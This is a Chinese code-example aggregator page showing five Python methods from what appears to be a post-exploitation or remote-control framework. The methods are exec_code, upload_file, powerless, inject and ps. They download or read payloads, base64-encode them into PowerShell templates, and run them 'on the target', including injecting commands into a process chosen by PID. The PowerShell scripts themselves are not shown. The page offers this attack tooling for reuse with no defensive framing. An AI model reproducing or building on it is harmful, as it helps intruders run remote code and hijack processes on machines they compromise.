本文整理汇总了Python中core.utils.Utils.load_powershell_script方法的典型用法代码示例。如果您正苦于以下问题:Python Utils.load_powershell_script方法的具体用法?Python Utils.load_powershell_script怎么用?Python Utils.load_powershell_script使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类core.utils.Utils
的用法示例。
在下文中一共展示了Utils.load_powershell_script方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: exec_code
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import load_powershell_script [as 别名]
def exec_code(self, data):
try:
cmd, path = data.split(" ", 1)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("exec.ps1", 12)
ps = Utils.update_key(ps, "PAYLOAD", data)
UI.success("Payload should be executed shortly on the target")
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例2: upload_file
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import load_powershell_script [as 别名]
def upload_file(self, data):
try:
cmd, path, remote = data.split(" ", 2)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("upload.ps1", 3)
ps = Utils.update_key(ps, "PAYLOAD", data)
ps = Utils.update_key(ps, "PATH", remote)
UI.success("Payload will be saved at %s" % path)
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例3: powerless
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import load_powershell_script [as 别名]
def powerless(self, data):
try:
cmd, ps_cmd = data.split(" ", 1)
except:
UI.error("Missing arguments")
return ""
ps = Utils.load_powershell_script("powerless.ps1", 22)
ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
return ps
示例4: inject
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import load_powershell_script [as 别名]
def inject(self, data):
try:
option, pid, cmd = data.split(" ", 2)
except:
UI.error("Missing arguments")
return ""
ps = Utils.load_powershell_script("injector.ps1", 1)
ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd))
ps = Utils.update_key(ps, "PID", pid)
UI.success("Injecting %s" % cmd)
UI.success("Into process with PID %s" % pid)
return ps
示例5: ps
# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import load_powershell_script [as 别名]
def ps(self, data):
ps = Utils.load_powershell_script("ps.ps1", 0)
return ps